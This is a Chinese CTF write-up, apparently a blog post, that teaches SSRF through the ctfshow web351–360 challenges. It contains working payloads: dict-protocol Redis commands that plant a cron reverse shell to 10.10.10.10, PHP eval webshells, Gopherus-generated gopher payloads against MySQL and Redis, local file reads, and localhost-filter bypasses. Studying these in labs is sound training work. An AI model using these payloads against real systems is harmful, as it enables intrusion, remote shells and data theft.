• ssrf漏洞学习


    目录

    ssrf漏洞

    相关函数

    相关协议

    file协议

    dict协议

    gopher协议

    ctfshow ssrf

    web351

    web352

    web353

    web354过滤01

    web355五位长度

     web356 三位长度

    web357 DNS重定向

    web358 正则


    ssrf漏洞

    SSRF(Server-Side Request Forgery,服务器端请求伪造),漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。因此存在SSRF漏洞的服务器通常被作为跳板机来取得外网或内网其它应用服务器的信息。

    数据流:攻击者----->服务器---->目标地址
    根据后台使用的函数的不同,对应的影响和利用方法又有不一样

    相关函数

    PHP中下面函数的使用不当会导致SSRF:

    1. file get contents()
    2. fsockopen()
    3. curl exec()

    相关协议

    file协议

    file协议主要用于读取服务器本地文件,访问本地的静态资源

    file协议数据格式:  file://文件绝对路径名

    1. file:///etc/passwd
    2. file:///var/www/html/index.php
    3. file:///usr/local/apache-tomcat/conf/server.xml

    dict协议

    dict协议一般常用来探测内网主机以及端口开放情况,既然能够探测端口,那么可以探测不同端口对应的服务的指纹信息。当然dict协议也可以用来执行一些服务的命令,如redis

        内网主机探测
        开放端口探测
        端口服务指纹探测
        执行命令

    注意:dict执行命令多行操作的命令时,只能一次执行单行,需分多次执行。

    dict协议数据格式

    1. ditc://ip:port
    2. ditc://ip:port/命令
    1. 例如:
    2. 一、dict协议探测端口和服务指纹
    3. dict://127.0.0.1:22
    4. dict://172.22.10.10:3306
    5. dict://127.0.0.1:6379/info
    6. 二、dict协议攻击redis,写入定时任务,进行反弹shell
    7. centos系统定时任务的路径为:/var/spool/cron
    8. debian系统定时任务的路径为:/var/spool/cron/crontabs
    9. dict://127.0.0.1:6379/config:set:dbfilename:root
    10. dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
    11. dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"
    12. dict://127.0.0.1:6379/save
    13. 注意:若payload存在被转义或过滤的情况,可利用16进制写入内容
    14. dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"
    15. 三、dict协议攻击redis,写入webshell
    16. dict://127.0.0.1:6379/config:set:dbfilename:test.php
    17. dict://127.0.0.1:6379/config:set:dir:/var/www/html
    18. dict://127.0.0.1:6379/set:test:"\n\n\n\n"
    19. dict://127.0.0.1:6379/save
    20. 若存在过滤, 则利用16进制内容写入:
    21. dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"
    22. 四、dict协议攻击redis,写入ssh公钥
    23. 操作和写入定时任务相似

    gopher协议

    gopher协议在ssrf的利用中一般用来攻击redis,mysql,fastcgi,smtp等服务。

    gopher协议数据格式:

    gopher://ip:port/_TCP/IP数据流

    注意:

        gopher协议数据流中,url编码使用%0d%0a替换字符串中的回车换行
        数据流末尾使用%0d%0a代表消息结束
     

    ctfshow ssrf

    web351

    1. error_reporting(0);
    2. highlight_file(__FILE__);
    3. $url=$_POST['url'];
    4. $ch=curl_init($url);//初始化 cURL 会话
    5. curl_setopt($ch, CURLOPT_HEADER, 0);//启用时会将头文件的信息作为数据流输出。
    6. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
    7. $result=curl_exec($ch);//执行 cURL 会话
    8. curl_close($ch);//关闭 cURL 会话
    9. echo ($result);
    10. ?>

    post传参

    url=http://127.0.0.1/flag.php

    web352

    过滤了localhost和127.0.0

    1. error_reporting(0);
    2. highlight_file(__FILE__);
    3. $url=$_POST['url'];
    4. $x=parse_url($url); //解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
    5. if($x['scheme']==='http'||$x['scheme']==='https'){
    6. if(!preg_match('/localhost|127.0.0/')){
    7. $ch=curl_init($url);
    8. curl_setopt($ch, CURLOPT_HEADER, 0);
    9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    10. $result=curl_exec($ch);
    11. curl_close($ch);
    12. echo ($result);
    13. }
    14. else{
    15. die('hacker');
    16. }
    17. }
    18. else{
    19. die('hacker');
    20. }
    21. ?>

    post传参:

    url=http://127.0.0.1/flag.php

    web353

    1. error_reporting(0);
    2. highlight_file(__FILE__);
    3. $url=$_POST['url'];
    4. $x=parse_url($url);
    5. if($x['scheme']==='http'||$x['scheme']==='https'){
    6. if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
    7. $ch=curl_init($url);
    8. curl_setopt($ch, CURLOPT_HEADER, 0);
    9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    10. $result=curl_exec($ch);
    11. curl_close($ch);
    12. echo ($result);
    13. }
    14. else{
    15. die('hacker');
    16. }
    17. }
    18. else{
    19. die('hacker');
    20. }
    21. ?> hacker

    进制转化

    1. 127.0.0.1 进制转化
    2. 十进制整数:url=http://2130706433/flag.php
    3. 十六进制:url=http://0x7F.0.0.1/flag.php
    4. 八进制:url=http://0177.0.0.1/flag.php
    5. 十六进制整数:url=http://0x7F000001/flag.php
    6. url=http://127.1/flag.php

    web354过滤01

    1. error_reporting(0);
    2. highlight_file(__FILE__);
    3. $url=$_POST['url'];
    4. $x=parse_url($url);
    5. if($x['scheme']==='http'||$x['scheme']==='https'){
    6. if(!preg_match('/localhost|1|0|。/i', $url)){
    7. $ch=curl_init($url);
    8. curl_setopt($ch, CURLOPT_HEADER, 0);
    9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    10. $result=curl_exec($ch);
    11. curl_close($ch);
    12. echo ($result);
    13. }
    14. else{
    15. die('hacker');
    16. }
    17. }
    18. else{
    19. die('hacker');
    20. }
    21. ?>

    过滤01

    使用 http://sudo.cc,这个域名就是指向127.0.0.1

    url=http://sudo.cc/flag.php

    web355五位长度

    多了一个限制让host位数小于5:

    1. error_reporting(0);
    2. highlight_file(__FILE__);
    3. $url=$_POST['url'];
    4. $x=parse_url($url);
    5. if($x['scheme']==='http'||$x['scheme']==='https'){
    6. $host=$x['host'];
    7. if((strlen($host)<=5)){
    8. $ch=curl_init($url);
    9. curl_setopt($ch, CURLOPT_HEADER, 0);
    10. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    11. $result=curl_exec($ch);
    12. curl_close($ch);
    13. echo ($result);
    14. }
    15. else{
    16. die('hacker');
    17. }
    18. }
    19. else{
    20. die('hacker');
    21. }
    22. ?>
    # 0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
    1. url=http://127.1/flag.php
    2. url=http://0/flag.php

     web356 三位长度

    host限制长度三位

    1. error_reporting(0);
    2. highlight_file(__FILE__);
    3. $url=$_POST['url'];
    4. $x=parse_url($url);
    5. if($x['scheme']==='http'||$x['scheme']==='https'){
    6. $host=$x['host'];
    7. if((strlen($host)<=3)){
    8. $ch=curl_init($url);
    9. curl_setopt($ch, CURLOPT_HEADER, 0);
    10. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    11. $result=curl_exec($ch);
    12. curl_close($ch);
    13. echo ($result);
    14. }
    15. else{
    16. die('hacker');
    17. }
    18. }
    19. else{
    20. die('hacker');
    21. }
    22. ?>
    url=http://0/flag.php

    web357 DNS重定向

    gethostbyname    返回主机名对应的 IPv4地址

     filter_var()

    1. # php filter函数
    2. filter_var() 获取一个变量,并进行过滤
    3. filter_var_array() 获取多个变量,并进行过滤
    4. ......
    5. # PHP 过滤器
    6. FILTER_VALIDATE_IP 把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围
    7. FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255
    8. FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334
    9. FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1
    10. FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

    因为代码中使用了 gethostbyname 获取了真实 IP 地址,所以域名指向方法不能再使用,可以使用 302 跳转方法和 dns rebinding 方法

    浅谈DNS重绑定漏洞 - 知乎

    DNS rebinding(DNS重新绑定攻击)

    攻击重点在于DNS服务能够在两次DNS查询中返回不用的IP地址,第一次是真正的IP,第二次是攻击目标IP地址,甚至可以通过这种攻击方法绕过同源策略

    回到题目,在题目代码中一共对域名进行了两次请求,第一次是 gethostbyname 方法,第二次则是 file_get_contents 文件读取,可以通过 ceye.io 来实现攻击,DNS Rebinding 中设置两个 IP,一个是 127.0.0.1 另一个是随便可以访问的 IP

    1、在自己服务器上写个a.php文件内容如下

    1. header("Location:http://127.0.0.1/flag.php");

    2、在这个网站注册一个账号http://ceye.io/,然后会给你分配一个域名,修改成如下的内容,第一个随便天填,第二个写 

    post:

    http://r.xxxxxx/flag.php xxx为分给你的域名 

    1. # 注意前边要加上r.
    2. # 多次尝试

    web358 正则

    1. error_reporting(0);
    2. highlight_file(__FILE__);
    3. $url=$_POST['url'];
    4. $x=parse_url($url);
    5. if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    6. echo file_get_contents($url);
    7. }

    url 字符串要以 http://ctf开头,show结尾

    1. payload:
    2. url=http://ctf.@127.0.0.1/flag.php#show
    3. url=http://ctf.@127.0.0.1/flag.php?show

    web359 Gopher协议 sql

    查看一下源代码

    点击书签,转到check.php

    1.下载Gopherus:

    1. git clone https://github.com/tarunkant/Gopherus.git
    2. python gopherus.py

    gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01
    

    2.将得到经过url编码的字符再编码一次 

    在check.php页面进行传参

    payload:

    u=Username&returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2532%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

    cmd=system('cat /flag.txt');

    web360 Gopher协议 redis

    还是利用gopherus

    python2 gopherus.py --exploit redis
    

    gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A12%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0A0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
    

    一样还要进行url编码

     post:

    url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252429%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255Bx%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

    默认会生成shell.php文件

    cmd=system('cat /flaaag')

  • 相关阅读:
    数据收集和数据分析
    力扣面试 150二叉搜索树迭代器 中序遍历 栈模拟递归 步骤拆分
    可观测数据采集端的管控方案的简单对比
    高数和数据结构的小例子
    双指针_快乐数
    科普丨选择语音芯片需考虑的要素
    Kaggle泰坦尼克号-决策树Top 3%-0基础代码详解
    在 uniapp 里面使用 unocss
    小红书母婴行业文案怎么写,创作方向有哪些?
    怎么使用 Go 语言操作 Apache Doris
  • 原文地址:https://blog.csdn.net/2202_75317918/article/details/133934791